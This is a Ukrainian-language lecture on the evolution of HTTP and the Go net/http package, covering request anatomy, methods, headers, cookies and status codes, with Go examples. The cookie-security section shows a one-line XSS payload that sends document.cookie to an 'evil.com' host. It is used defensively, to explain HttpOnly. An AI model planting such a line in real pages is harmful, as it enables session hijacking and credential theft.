Клієнт-серверна архітектура

Протокол HTTP та стандартний вебсервер Go

Еволюція протоколу HTTP від версії 1.0 до HTTP/3 з транспортом QUIC, детальний розбір анатомії HTTP-запитів та відповідей (методи, статус-коди, заголовки, тіло), принципи ідемпотентності та безпеки методів, стандартний пакет net/http у Go (інтерфейс http.Handler, роутер http.ServeMux, кастомний http.Server), налаштування таймаутів, TLS та обробка потокових даних.

Протокол HTTP та стандартний вебсервер Go

🎯 Навчальні цілі

  • Усвідомити історичну еволюцію протоколу HTTP від HTTP/1.0 через HTTP/1.1 та HTTP/2 до найновішого HTTP/3 на базі транспорту QUIC, і зрозуміти мотивацію кожного кроку цієї еволюції.
  • Розібрати детальну анатомію HTTP-запитів та відповідей: стартовий рядок, методи (GET, POST, PUT, PATCH, DELETE), версію протоколу, статус-коди, керуючі заголовки та тіло повідомлення.
  • Опанувати концепції ідемпотентності та безпеки (safe methods) HTTP-методів і зрозуміти, чому ці властивості критичні для проєктування надійних клієнт-серверних API.
  • Вивчити стандартний пакет net/http мови Go: центральний інтерфейс http.Handler, його реалізацію через функції http.HandlerFunc, стандартний роутер http.ServeMux та його сучасні можливості маршрутизації (Go 1.22+).
  • Навчитися створювати кастомний http.Server із точним налаштуванням таймаутів читання/запису, розмірів буферів, параметрів Keep-Alive та інтеграції TLS-сертифікатів.
  • Зрозуміти, як Go-рантайм обробляє HTTP-запити: модель «одна горутина на запит», внутрішній пул буферів, потокове введення/виведення через інтерфейси io.Reader та io.Writer.
  • Опанувати обробку різних типів HTTP-запитів: читання параметрів URL, заголовків, форм application/x-www-form-urlencoded, багатокомпонентних форм multipart/form-data та потокового тіла запиту.
  • Побачити еволюцію від елементарного TCP-сервера, який вручну формує HTTP-відповіді, до використання зручних абстракцій стандартної бібліотеки, щоб усвідомити цінність готових бібліотек.
  • Навчитися організовувати коректне завершення роботи HTTP-сервера (Graceful Shutdown) при отриманні сигналів операційної системи.

🛠️ Технологічний стек

  • Мова: Go 1.22+
  • Пакети стандартної бібліотеки: net/http, net, io, bufio, context, crypto/tls, os/signal
  • Інструменти діагностики: cURL, Postman, HTTPie, браузер Developer Tools, Wireshark
  • Тестування: net/http/httptest для модульних тестів HTTP-обробників

Від TCP-сокетів до HTTP: чому потрібен прикладний протокол

У попередніх лекціях ми детально розібрали роботу з TCP-сокетами на низькому рівні: створювали слухача за допомогою net.Listen, приймали з'єднання через Accept(), читали та записували байти в потік net.Conn, проєктували власні протоколи прикладного рівня з розділювачами або префіксами довжини повідомлення. Ми навчилися будувати базові сервери, які можуть обмінюватися текстовими командами або бінарними структурами даних із клієнтами.

Але уявіть собі наступну ситуацію: ви створили REST API для мобільного застосунку, і вам потрібно забезпечити можливість клієнту на React Native отримувати список товарів, завантажувати зображення, відправляти форми реєстрації, аутентифікуватися через токени, обмінюватися JSON-даними. Десктопний застосунок на JavaFX або C# Avalonia повинен підключатися до того самого API. Браузерний клієнт працює через JavaScript fetch(). CLI-утиліта на Go або Python надсилає запити через бібліотеки http.Client або requests.

Якби кожен клієнт використовував власний кастомний протокол поверх TCP, вам довелося б писати окремий парсер для кожної платформи, домовлятися про формат повідомлень, обробляти помилки, керувати станом з'єднання, стежити за версіонуванням протоколу. Це було б величезною інженерною катастрофою, яка унеможливлює інтероперабельність (interoperability) — здатність різних систем працювати разом без спеціальних налаштувань.

Саме тому у 1991 році Тім Бернерс-Лі (Tim Berners-Lee) створив перший стандартизований протокол прикладного рівня для передачі гіпертекстових документів — HyperText Transfer Protocol (HTTP). Початкова версія HTTP/0.9 була надзвичайно простою: клієнт відправляв один рядок GET /index.html, сервер повертав HTML-документ і закривав з'єднання. Але ця проста ідея поклала початок стандарту, який сьогодні використовується мільярдами пристроїв по всьому світу — від смартфонів та розумних телевізорів до промислових IoT-сенсорів та серверів дата-центрів.

HTTP як універсальна мова інтернету: Протокол HTTP став настільки універсальним, що навіть системи, які не мають жодного відношення до вебсторінок, використовують його як транспорт. REST API, GraphQL, WebHooks, серверні події (Server-Sent Events), навіть деякі реалізації RPC-систем працюють поверх HTTP. Причина проста: HTTP стандартизований, підтримується всіма мовами програмування та платформами, має широкий інструментарій для налагодження, і його розуміють усі інженери.

Демонстрація: елементарний HTTP-сервер на чистому TCP

Перш ніж переходити до зручних абстракцій стандартного пакета net/http, давайте побудуємо мінімальний HTTP-сервер вручну на базі TCP-сокетів, щоб студент міг побачити, що саме відбувається «під капотом» і чому використання готової бібліотеки є значно кращим рішенням.

HTTP/1.1 — це текстовий протокол, побудований поверх TCP. Кожен запит та відповідь складаються з текстових рядків, розділених послідовністю символів \r\n (Carriage Return + Line Feed). Ось приклад найпростішого HTTP-запиту, який браузер відправляє серверу:

GET /hello HTTP/1.1\r\n
Host: localhost:8080\r\n
\r\n

Розберемо структуру:

  1. Стартовий рядок (request line): метод GET, шлях /hello, версія протоколу HTTP/1.1.
  2. Заголовки (headers): один або більше рядків формату Ім'я-Заголовка: Значення, у нашому випадку Host: localhost:8080. Заголовок Host є обов'язковим у HTTP/1.1, оскільки один IP-адреса може обслуговувати десятки доменів (віртуальний хостинг).
  3. Порожній рядок (\r\n\r\n): сигналізує кінець заголовків. Після нього може йти тіло запиту (body), якщо метод це передбачає (наприклад, POST).

Відповідь сервера має аналогічну структуру:

HTTP/1.1 200 OK\r\n
Content-Type: text/html; charset=utf-8\r\n
Content-Length: 62\r\n
\r\n
<html><body><h1>Hello from TCP Server</h1></body></html>

Створимо повний робочий приклад TCP-сервера, який парсить HTTP-запит та формує HTTP-відповідь вручну:

package main

import (
    "bufio"
    "fmt"
    "log"
    "net"
    "strings"
)

func main() {
    // Створюємо TCP-слухача на порту 8080
    listener, err := net.Listen("tcp", ":8080")
    if err != nil {
        log.Fatalf("Помилка створення слухача: %v", err)
    }
    defer listener.Close()

    fmt.Println("🚀 HTTP-сервер на чистому TCP запущено на http://localhost:8080")
    fmt.Println("Спробуйте відкрити у браузері або виконати: curl http://localhost:8080/hello")

    for {
        // Приймаємо вхідне з'єднання
        conn, err := listener.Accept()
        if err != nil {
            log.Printf("Помилка прийняття з'єднання: %v", err)
            continue
        }

        // Обробляємо кожне з'єднання в окремій горутині
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    defer conn.Close()

    // Читаємо запит через буферизований Reader
    reader := bufio.NewReader(conn)

    // Читаємо стартовий рядок: "GET /hello HTTP/1.1"
    requestLine, err := reader.ReadString('\n')
    if err != nil {
        log.Printf("Помилка читання стартового рядка: %v", err)
        return
    }

    // Парсимо метод та шлях
    parts := strings.Fields(requestLine)
    if len(parts) < 2 {
        sendResponse(conn, 400, "text/plain", "Bad Request: Invalid request line")
        return
    }

    method := parts[0]
    path := parts[1]

    log.Printf("📥 Запит: %s %s від %s", method, path, conn.RemoteAddr())

    // Читаємо всі заголовки до порожнього рядка
    for {
        line, err := reader.ReadString('\n')
        if err != nil {
            return
        }
        // Порожній рядок (\r\n) сигналізує кінець заголовків
        if line == "\r\n" || line == "\n" {
            break
        }
    }

    // Формуємо відповідь залежно від шляху
    switch path {
    case "/":
        html := `<html><body><h1>Вітаємо на HTTP-сервері!</h1><p>Цей сервер побудовано на чистому TCP без використання net/http.</p></body></html>`
        sendResponse(conn, 200, "text/html; charset=utf-8", html)

    case "/hello":
        html := `<html><body><h1>Hello from TCP Server</h1><p>Ви побачили еволюцію: від TCP до HTTP бібліотеки.</p></body></html>`
        sendResponse(conn, 200, "text/html; charset=utf-8", html)

    case "/json":
        json := `{"message": "Це JSON відповідь", "server": "custom-tcp-http", "version": "1.0"}`
        sendResponse(conn, 200, "application/json", json)

    default:
        html := `<html><body><h1>404 Not Found</h1><p>Ресурс не знайдено.</p></body></html>`
        sendResponse(conn, 404, "text/html; charset=utf-8", html)
    }
}

func sendResponse(conn net.Conn, statusCode int, contentType, body string) {
    // Формуємо статус-код та його текстове пояснення
    statusText := map[int]string{
        200: "OK",
        400: "Bad Request",
        404: "Not Found",
        500: "Internal Server Error",
    }[statusCode]

    // Формуємо HTTP-відповідь вручну
    response := fmt.Sprintf("HTTP/1.1 %d %s\r\n", statusCode, statusText)
    response += fmt.Sprintf("Content-Type: %s\r\n", contentType)
    response += fmt.Sprintf("Content-Length: %d\r\n", len(body))
    response += "Connection: close\r\n" // Закриваємо з'єднання після відповіді
    response += "\r\n"                  // Порожній рядок перед тілом
    response += body

    // Записуємо відповідь у сокет
    _, err := conn.Write([]byte(response))
    if err != nil {
        log.Printf("Помилка запису відповіді: %v", err)
    }
}

Цей сервер можна запустити командою:

go run cmd/http-tcp-server/main.go

Тепер відкрийте браузер та перейдіть за адресою http://localhost:8080/hello — ви побачите HTML-сторінку. Або виконайте у терміналі:

curl http://localhost:8080/json

Ви отримаєте JSON-відповідь:

{"message": "Це JSON відповідь", "server": "custom-tcp-http", "version": "1.0"}
Чому цей підхід не використовується в реальних застосунках: Хоча наш TCP-сервер функціонує, він є надзвичайно спрощеним і не підтримує критично важливих функцій HTTP/1.1:
  • Ми не обробляємо заголовки запиту (наприклад, Content-Length, Transfer-Encoding: chunked).
  • Ми не підтримуємо постійні з'єднання (Connection: keep-alive) — після кожної відповіді сокет закривається.
  • Ми не читаємо тіло запиту (наприклад, дані POST-форми або JSON).
  • Ми не обробляємо складні HTTP-методи (PUT, PATCH, DELETE, OPTIONS, HEAD).
  • Ми не підтримуємо HTTP/2 або HTTP/3.
  • Ми не перевіряємо заголовок Host для віртуального хостингу.
Цей приклад демонструє фундаментальні принципи, але для реальних застосунків ми завжди використовуємо стандартний пакет net/http, який реалізує всю складність специфікації RFC 7230–7235.

Еволюція протоколу HTTP: від 1.0 до 3.0

Щоб по-справжньому оцінити архітектурні рішення, закладені у стандартний пакет net/http мови Go, необхідно зрозуміти історичну еволюцію самого протоколу HTTP та ті проблеми, які кожна нова версія намагалася вирішити.

HTTP/1.0 (1996): народження вебу

Специфікація HTTP/1.0 (RFC 1945) була оформлена у 1996 році і вже містила концепції методів (GET, POST, HEAD), статус-кодів та заголовків. Але архітектура HTTP/1.0 мала фундаментальну проблему: кожен запит вимагав окремого TCP-з'єднання. Процес виглядав так:

  1. Клієнт встановлює TCP-з'єднання з сервером (3-way handshake).
  2. Клієнт відправляє HTTP-запит.
  3. Сервер відправляє HTTP-відповідь.
  4. З'єднання закривається (4-way termination).

Якщо вебсторінка містила HTML-документ, 10 зображень, 3 CSS-файли та 5 JavaScript-файлів, браузер повинен був встановити та закрити 19 окремих TCP-з'єднань. Кожне з'єднання вимагає мережевого рукостискання (затримка RTT — Round-Trip Time), виділення пам'яті на сервері, налаштування вікна перегляду TCP (congestion window). Для сторінок із десятками ресурсів це створювало величезні накладні витрати.

HTTP/1.1 (1997): постійні з'єднання та конвеєри

Специфікація HTTP/1.1 (RFC 2616, пізніше оновлена у RFC 7230–7235) вирішила головну проблему попередника: було введено концепцію постійних з'єднань (persistent connections) через заголовок Connection: keep-alive. Тепер одне TCP-з'єднання могло обслуговувати декілька послідовних запитів без необхідності повторного рукостискання. Це радикально зменшило затримки та навантаження на сервер.

HTTP/1.1 також додав:

  • Заголовок Host: дозволяє одному серверу обслуговувати десятки доменів на одній IP-адресі (віртуальний хостинг).
  • Chunked Transfer Encoding: можливість передавати відповідь частинами без заздалегідь відомої довжини (критично для потокового відео або серверних подій).
  • Нові методи: PUT, PATCH, DELETE, OPTIONS для RESTful API.
  • Кешування: розширені механізми керування кешем через заголовки Cache-Control, ETag, If-None-Match.

Проте HTTP/1.1 все ще мав проблему блокування на початку черги (Head-of-Line Blocking): якщо перший запит у черзі оброблюється повільно (наприклад, завантаження великого файлу), всі наступні запити в тому самому з'єднанні змушені чекати.

HTTP/2 (2015): мультиплексування та бінарний протокол

HTTP/2 (RFC 7540) став революційним кроком: протокол перейшов з текстового формату на бінарний фреймовий формат, що дозволило реалізувати мультиплексування (multiplexing) — передачу декількох логічних потоків (streams) одночасно в межах одного TCP-з'єднання. Тепер браузер міг відправити 100 запитів одночасно, і сервер міг відповідати на них у будь-якому порядку, розподіляючи байти між потоками за пріоритетами.

HTTP/2 також запровадив:

  • Стиснення заголовків (HPACK): багато заголовків повторюються в кожному запиті (наприклад, User-Agent, Cookie), HPACK стискає їх у компактні індекси.
  • Server Push: сервер може ініціативно відправити ресурси клієнту ще до того, як той їх запросить (наприклад, CSS/JS при запиті HTML).
  • Пріоритизація потоків: клієнт може вказати, які ресурси важливіші, щоб сервер обробляв їх першими.

Проте HTTP/2 все ще працює поверх TCP, і якщо на мережевому рівні втрачається один TCP-пакет, весь потік блокується до його повторної передачі (TCP Head-of-Line Blocking на рівні транспорту).

HTTP/3 (2022): QUIC замість TCP

HTTP/3 (RFC 9114) вирішив останню проблему, повністю замінивши транспортний протокол: замість TCP використовується QUIC (Quick UDP Internet Connections, RFC 9000) — протокол, побудований поверх UDP, але з вбудованою надійністю, шифруванням (TLS 1.3 інтегровано в QUIC) та підтримкою множинних потоків без блокування.

Основні переваги HTTP/3:

  • Усунення Head-of-Line Blocking: втрата пакета впливає лише на один логічний потік, інші продовжують працювати.
  • Швидше встановлення з'єднання: QUIC об'єднує криптографічне рукостискання та транспортне з'єднання в один крок (0-RTT при повторному підключенні).
  • Стійкість до зміни мережі: QUIC ідентифікує з'єднання не за IP-адресою, а за унікальним Connection ID, тому перехід зі Wi-Fi на мобільний інтернет не обриває з'єднання.

Станом на 2026 рік HTTP/3 підтримується всіма основними браузерами, CDN-провайдерами (Cloudflare, Fastly, Akamai) та вебсерверами (nginx, Caddy). У Go підтримка HTTP/3 реалізована через сторонню бібліотеку quic-go, оскільки стандартна бібліотека net/http поки що офіційно підтримує лише HTTP/1.1 та HTTP/2.

Loading diagram...
@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

package "HTTP/1.0 (1996)" #FEE2E2 {
    note as N1
        ❌ Одне з'єднання = один запит
        ❌ Висока латентність RTT
        ❌ Неефективне для багатьох ресурсів
    end note
}

package "HTTP/1.1 (1997)" #FEF3C7 {
    note as N2
        ✅ Постійні з'єднання (keep-alive)
        ✅ Віртуальний хостинг (Host)
        ⚠️ Head-of-Line Blocking у черзі
    end note
}

package "HTTP/2 (2015)" #DBEAFE {
    note as N3
        ✅ Бінарний фреймовий протокол
        ✅ Мультиплексування потоків
        ✅ Стиснення заголовків (HPACK)
        ⚠️ TCP Head-of-Line Blocking
    end note
}

package "HTTP/3 (2022)" #DCFCE7 {
    note as N4
        ✅ Транспорт QUIC (поверх UDP)
        ✅ Нуль RTT при повторному з'єднанні
        ✅ Немає блокування на рівні транспорту
        ✅ Стійкість до зміни IP
    end note
}

N1 -down-> N2 : еволюція
N2 -down-> N3 : еволюція
N3 -down-> N4 : еволюція
@enduml
Що підтримує стандартний пакет net/http у Go: Станом на Go 1.22, пакет net/http автоматично підтримує HTTP/1.1 та HTTP/2 (якщо з'єднання захищене TLS). Вам не потрібно нічого змінювати у коді — Go-рантайм автоматично визначає, яку версію протоколу підтримує клієнт (через механізм ALPN — Application-Layer Protocol Negotiation у TLS-рукостисканні), і обирає найкращу. Для підтримки HTTP/3 необхідно використовувати сторонню бібліотеку github.com/quic-go/quic-go.

Анатомія HTTP-запиту: розбір структури на молекули

Кожен HTTP-запит складається з трьох основних компонентів: стартовий рядок (request line), заголовки (headers) та опціональне тіло (body). Розглянемо детально кожен елемент.

Стартовий рядок: метод, URI та версія протоколу

Стартовий рядок має наступний формат:

METHOD REQUEST-URI HTTP-VERSION\r\n

Приклади:

GET /api/v1/users HTTP/1.1
POST /auth/login HTTP/1.1
PUT /api/v1/users/42 HTTP/2.0
DELETE /api/v1/posts/123 HTTP/1.1

Компоненти:

  1. METHOD — HTTP-метод, який визначає тип операції: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS, CONNECT, TRACE.
  2. REQUEST-URI — шлях до ресурсу на сервері, може містити query-параметри: /api/users?page=2&limit=20.
  3. HTTP-VERSION — версія протоколу: HTTP/1.1, HTTP/2.0 тощо.

HTTP-методи: семантика та властивості

Кожен HTTP-метод має чітко визначену семантику (meaning) згідно зі специфікацією RFC 7231. Розглянемо найпоширеніші методи:

GET: безпечне отримання ресурсу

  • Призначення: отримання представлення ресурсу без зміни стану сервера.
  • Властивості:
    • Safe (безпечний): виклик методу GET не повинен змінювати стан сервера.
    • Idempotent (ідемпотентний): багаторазовий виклик дає той самий результат, що й одноразовий.
    • Cacheable (кешується): відповіді можуть зберігатися в кеші браузера або проксі-серверів.
  • Приклади:
    • GET /api/v1/users — отримання списку користувачів.
    • GET /api/v1/users/42 — отримання даних користувача з ID = 42.
    • GET /api/v1/products?category=electronics&sort=price — отримання відфільтрованого списку.

POST: створення нового ресурсу

  • Призначення: створення нового ресурсу або виконання дії, яка змінює стан сервера.
  • Властивості:
    • Not Safe: POST завжди змінює стан сервера (наприклад, додає запис у базу даних).
    • Not Idempotent: повторний виклик POST може створити дублікати (наприклад, два користувачі з однаковими даними).
    • Not Cacheable (за замовчуванням): відповіді POST не кешуються.
  • Приклади:
    • POST /api/v1/users з тілом JSON — створення нового користувача.
    • POST /auth/login з тілом {"email": "...", "password": "..."} — вхід у систему.

PUT: повна заміна ресурсу

  • Призначення: повна заміна існуючого ресурсу новим представленням або створення ресурсу за конкретним URI, якщо його не існує.
  • Властивості:
    • Not Safe: змінює стан сервера.
    • Idempotent: повторний виклик PUT /api/v1/users/42 з тим самим тілом дає той самий результат.
  • Приклади:
    • PUT /api/v1/users/42 з повним об'єктом користувача — заміна всіх полів.

PATCH: часткове оновлення ресурсу

  • Призначення: часткова модифікація існуючого ресурсу (зміна лише окремих полів).
  • Властивості:
    • Not Safe: змінює стан.
    • Idempotent (за бажанням): залежить від реалізації. Якщо PATCH встановлює абсолютні значення полів, він ідемпотентний. Якщо виконує відносні операції (наприклад, збільшити лічильник на 1), то ні.
  • Приклади:
    • PATCH /api/v1/users/42 з тілом {"email": "new@example.com"} — зміна лише email.

DELETE: видалення ресурсу

  • Призначення: видалення ресурсу на сервері.
  • Властивості:
    • Not Safe: змінює стан.
    • Idempotent: перший виклик видаляє ресурс, всі наступні виклики повертають 404 Not Found, але стан сервера більше не змінюється.
  • Приклади:
    • DELETE /api/v1/posts/123 — видалення поста.

HEAD: отримання лише заголовків

  • Призначення: отримання метаданих ресурсу без тіла відповіді (корисно для перевірки існування файлу або його розміру).
  • Властивості: Safe, Idempotent, Cacheable.

OPTIONS: визначення доступних методів

  • Призначення: з'ясувати, які HTTP-методи підтримуються для конкретного ресурсу (використовується у CORS preflight-запитах).
  • Приклад відповіді:
    HTTP/1.1 200 OK
    Allow: GET, POST, PUT, DELETE, OPTIONS
    
Правило проєктування RESTful API: завжди використовуйте HTTP-методи відповідно до їхньої семантики. Ніколи не використовуйте GET для операцій, що змінюють стан сервера (наприклад, GET /api/users/delete/42 — це поганий дизайн). Клієнти та проксі-сервери можуть кешувати GET-запити, що призведе до непередбачуваної поведінки.

HTTP-заголовки: метадані запиту та відповіді

Заголовки (headers) — це пари «ключ: значення», які передають додаткову інформацію про запит або відповідь. Заголовки розділені символами \r\n, і секція заголовків завершується порожнім рядком \r\n\r\n.

Найпоширеніші заголовки запиту

ЗаголовокПризначенняПриклад
HostІм'я домену сервера (обов'язковий у HTTP/1.1)Host: api.example.com
User-AgentІнформація про клієнта (браузер, мобільний застосунок)User-Agent: Mozilla/5.0 ...
AcceptТипи контенту, які клієнт може обробитиAccept: application/json
Accept-EncodingАлгоритми стиснення, які підтримує клієнтAccept-Encoding: gzip, deflate
AuthorizationТокен автентифікації (наприклад, JWT)Authorization: Bearer eyJhbGc...
Content-TypeТип даних у тілі запитуContent-Type: application/json
Content-LengthДовжина тіла запиту в байтахContent-Length: 342
CookieКуки, збережені клієнтомCookie: session_id=abc123

Найпоширеніші заголовки відповіді

ЗаголовокПризначенняПриклад
Content-TypeТип даних у тілі відповідіContent-Type: application/json; charset=utf-8
Content-LengthДовжина тіла відповіді в байтахContent-Length: 1234
Set-CookieВстановлення куків на клієнтіSet-Cookie: token=xyz; HttpOnly; Secure
Cache-ControlПолітика кешуванняCache-Control: no-cache, no-store
ETagУнікальний ідентифікатор версії ресурсуETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
LocationURL для редиректу (використовується зі статус-кодами 3xx)Location: /api/v1/users/42
Access-Control-Allow-OriginCORS: дозволені джерела для крос-доменних запитівAccess-Control-Allow-Origin: *
Небезпека відкритого CORS: Заголовок Access-Control-Allow-Origin: * дозволяє будь-якому вебсайту виконувати запити до вашого API через JavaScript у браузері. Це може призвести до витоку даних, якщо API повертає чутливу інформацію без перевірки токенів автентифікації. У продакшн-середовищі завжди вказуйте конкретні дозволені домени: Access-Control-Allow-Origin: https://app.example.com.

Тіло запиту та відповіді: корисне навантаження

Після секції заголовків може йти тіло (body) — корисне навантаження запиту або відповіді. Наявність тіла залежить від методу та заголовка Content-Length або Transfer-Encoding: chunked.

Приклад POST-запиту з JSON-тілом:

POST /api/v1/users HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 58

{"name": "Олександр", "email": "alex@example.com"}

Приклад відповіді:

HTTP/1.1 201 Created
Content-Type: application/json
Location: /api/v1/users/42
Content-Length: 89

{"id": 42, "name": "Олександр", "email": "alex@example.com", "created_at": "2026-09-01T10:30:00Z"}

HTTP Cookies: збереження стану між запитами

Протокол HTTP за своєю природою є беззстановим (stateless) — кожен запит обробляється незалежно, і сервер не зберігає інформацію про попередні взаємодії з клієнтом. Але як же тоді працюють вебзастосунки, які «пам'ятають» вас після входу? Як інтернет-магазин зберігає вміст вашого кошика між сторінками?

Відповідь: HTTP Cookies (куки) — невеликі фрагменти даних, які сервер відправляє клієнту через заголовок Set-Cookie, а клієнт зберігає локально і автоматично відправляє назад серверу при кожному наступному запиті через заголовок Cookie.

Loading diagram...
@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

actor "Браузер" as Client #DBEAFE
participant "Вебсервер" as Server #FEF3C7
database "Cookie Storage\n(браузер)" as Storage #DCFCE7

Client -> Server : GET /login (username, password)
Server -> Server : Перевірка облікових даних
Server -> Client : HTTP/1.1 200 OK\nSet-Cookie: session_id=abc123; HttpOnly; Secure
Client -> Storage : Зберегти cookie локально

note right of Storage #E0E7FF
  Cookie зберігається у
  захищеному сховищі браузера
end note

Client -> Server : GET /profile\nCookie: session_id=abc123
Server -> Server : Розпізнати користувача за session_id
Server -> Client : HTTP/1.1 200 OK\n(Дані профілю користувача)

Client -> Server : GET /api/cart\nCookie: session_id=abc123
Server -> Client : HTTP/1.1 200 OK\n(Вміст кошика)
@enduml

Сервер встановлює cookie через заголовок Set-Cookie у відповіді:

HTTP/1.1 200 OK
Set-Cookie: session_id=a3fWa; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Strict
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Content-Type: text/html

<html>...</html>

Браузер зберігає ці куки та автоматично додає їх до всіх наступних запитів на цей домен:

GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=a3fWa; theme=dark
АтрибутПризначенняПриклад
ExpiresДата закінчення терміну дії cookieExpires=Wed, 21 Oct 2026 07:28:00 GMT
Max-AgeТривалість життя cookie в секундахMax-Age=3600 (1 година)
DomainДомен, для якого cookie валіднийDomain=.example.com (включає піддомени)
PathШлях URL, для якого cookie валіднийPath=/api (тільки для /api/*)
SecureCookie передається лише через HTTPSSecure
HttpOnlyCookie недоступний через JavaScriptHttpOnly
SameSiteЗахист від CSRF-атакSameSite=Strict / Lax / None

Session cookies vs Persistent cookies

Session cookies (сесійні куки):

  • Не мають атрибутів Expires або Max-Age.
  • Видаляються автоматично, коли користувач закриває браузер.
  • Використовуються для тимчасових даних (наприклад, ідентифікатор сесії).

Persistent cookies (постійні куки):

  • Мають встановлений термін дії через Expires або Max-Age.
  • Зберігаються на диску і залишаються після закриття браузера.
  • Використовуються для налаштувань користувача (мова, тема), токенів "Запам'ятати мене".

Безпека cookies: атрибути HttpOnly, Secure та SameSite

HttpOnly: Найважливіший атрибут безпеки. Якщо cookie має прапорець HttpOnly, він недоступний через JavaScript (document.cookie). Це захищає від атак типу XSS (Cross-Site Scripting), коли зловмисник намагається викрасти сесійні токени через вразливість у frontend-коді.

Приклад атаки без HttpOnly:

// Зловмисник вставляє цей код через XSS-вразливість
fetch('https://evil.com/steal?cookie=' + document.cookie);

Якщо cookie має HttpOnly, цей код не зможе його прочитати.

Secure: Cookie з цим атрибутом передається лише через HTTPS, ніколи через незахищений HTTP. Це запобігає перехопленню cookie при атаці Man-in-the-Middle.

SameSite: Захист від CSRF (Cross-Site Request Forgery) атак. Існує три режими:

  • SameSite=Strict: Cookie відправляється лише при запитах із того самого сайту. Якщо користувач переходить на ваш сайт з іншого домену (наприклад, клік на посилання в email), cookie не буде відправлено. Максимальний рівень захисту, але може порушити зручність використання.
  • SameSite=Lax (за замовчуванням у сучасних браузерах): Cookie відправляється при навігації верхнього рівня (GET-запити при переході по посиланню), але не відправляється при крос-доменних POST-запитах або завантаженнях ресурсів (<img>, <iframe>). Баланс між безпекою та зручністю.
  • SameSite=None: Cookie відправляється при всіх крос-доменних запитах. Обов'язково вимагає атрибута Secure. Використовується для віджетів, iframe-вбудовувань або стороннього аутентифікаційного провайдера (OAuth).
func loginHandler(w http.ResponseWriter, r *http.Request) {
    // Після успішної аутентифікації створюємо сесію
    sessionID := generateSecureToken() // Генерація криптостійкого токена

    // Встановлюємо cookie з усіма захисними атрибутами
    cookie := &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   3600,                    // 1 година
        HttpOnly: true,                    // Захист від XSS
        Secure:   true,                    // Тільки HTTPS
        SameSite: http.SameSiteStrictMode, // Захист від CSRF
    }

    http.SetCookie(w, cookie)

    w.WriteHeader(http.StatusOK)
    fmt.Fprintf(w, "Вхід успішний. Сесія створена.")
}
func profileHandler(w http.ResponseWriter, r *http.Request) {
    // Читаємо cookie з запиту
    cookie, err := r.Cookie("session_id")
    if err != nil {
        if err == http.ErrNoCookie {
            http.Error(w, "Відсутня сесія. Увійдіть у систему.", http.StatusUnauthorized)
            return
        }
        http.Error(w, "Помилка читання cookie", http.StatusInternalServerError)
        return
    }

    sessionID := cookie.Value

    // Перевірка валідності сесії (у реальності — запит до Redis/бази даних)
    if !isValidSession(sessionID) {
        http.Error(w, "Невалідна або прострочена сесія", http.StatusUnauthorized)
        return
    }

    fmt.Fprintf(w, "Вітаємо! Ваша сесія: %s", sessionID)
}

Щоб видалити cookie, встановіть його з терміном дії у минулому:

func logoutHandler(w http.ResponseWriter, r *http.Request) {
    cookie := &http.Cookie{
        Name:     "session_id",
        Value:    "",
        Path:     "/",
        MaxAge:   -1, // Негативне значення видаляє cookie
        HttpOnly: true,
    }

    http.SetCookie(w, cookie)

    fmt.Fprintf(w, "Ви вийшли з системи. Cookie видалено.")
}
Чому не зберігати чутливі дані в cookies: Куки передаються з кожним запитом, збільшуючи розмір трафіку. Крім того, навіть з атрибутом HttpOnly, куки можуть бути викрадені через вразливості мережі (якщо відсутній Secure) або через атаки на рівні браузера. Ніколи не зберігайте паролі, номери кредитних карток або інші критичні дані в cookies. Використовуйте їх лише для ідентифікаторів сесій, а самі дані зберігайте на сервері (Redis, база даних).

Статус-коди HTTP: мова спілкування між клієнтом та сервером

Кожна HTTP-відповідь починається зі статус-коду (status code) — тризначного числа, яке інформує клієнта про результат обробки запиту. Статус-коди згруповані в п'ять класів:

1xx: Інформаційні повідомлення

Використовуються рідко, сигналізують про проміжний стан обробки.

  • 100 Continue: сервер готовий прийняти тіло запиту (використовується, коли клієнт спочатку відправляє заголовки з Expect: 100-continue, щоб з'ясувати, чи варто відправляти велике тіло).
  • 101 Switching Protocols: сервер приймає запит на зміну протоколу (наприклад, апгрейд з HTTP на WebSocket).

2xx: Успішна обробка

  • 200 OK: запит успішно оброблено, тіло містить запитані дані (використовується з GET, PUT, PATCH).
  • 201 Created: ресурс успішно створено (POST). Рекомендовано повертати заголовок Location з URL нового ресурсу.
  • 204 No Content: запит успішно оброблено, але немає тіла відповіді (часто використовується з DELETE або PUT, коли не потрібно повертати дані).

3xx: Редирект

  • 301 Moved Permanently: ресурс переміщено на нову адресу назавжди. Клієнт повинен використовувати нову адресу з заголовка Location.
  • 302 Found / 307 Temporary Redirect: тимчасовий редирект. Клієнт повинен використовувати оригінальний URL для наступних запитів.
  • 304 Not Modified: ресурс не змінився з моменту попереднього запиту (використовується для кешування з заголовками If-None-Match / ETag).

Детальний розбір редиректів: коли використовувати 301, 302, 307, 308

HTTP-редиректи часто викликають плутанину, оскільки існує кілька статус-кодів зі схожою семантикою. Розглянемо детально різницю між ними та сценарії застосування.

301 Moved Permanently (постійний редирект):

  • Ресурс назавжди переміщено на нову адресу.
  • Браузери та пошукові системи (Google, Bing) оновлюють закладки та індекси на нову адресу.
  • Зміна методу: Історично, багато браузерів змінювали POST-запит на GET при редиректі (нестандартна поведінка, але вона закріпилася).
  • Використання: зміна доменного імені (example.com → newexample.com), перехід з HTTP на HTTPS назавжди, зміна структури URL.

Приклад:

HTTP/1.1 301 Moved Permanently
Location: https://newdomain.com/resource

302 Found (тимчасовий редирект, застарілий):

  • Ресурс тимчасово доступний за іншою адресою.
  • Пошукові системи не змінюють індекси.
  • Зміна методу: Так само, як і 301, історично POST міг перетворюватися на GET.
  • Проблема: Специфікація RFC 1945 не визначала чітко поведінку методу, що призвело до несумісності між реалізаціями.

307 Temporary Redirect (тимчасовий редирект з гарантією збереження методу):

  • Аналогічно до 302, але метод запиту та тіло мають бути збережені.
  • Якщо клієнт відправив POST, редирект має бути POST із тим самим тілом.
  • Використання: тимчасове перенаправлення трафіку на резервний сервер, перенаправлення на сторінку обслуговування, A/B-тестування.

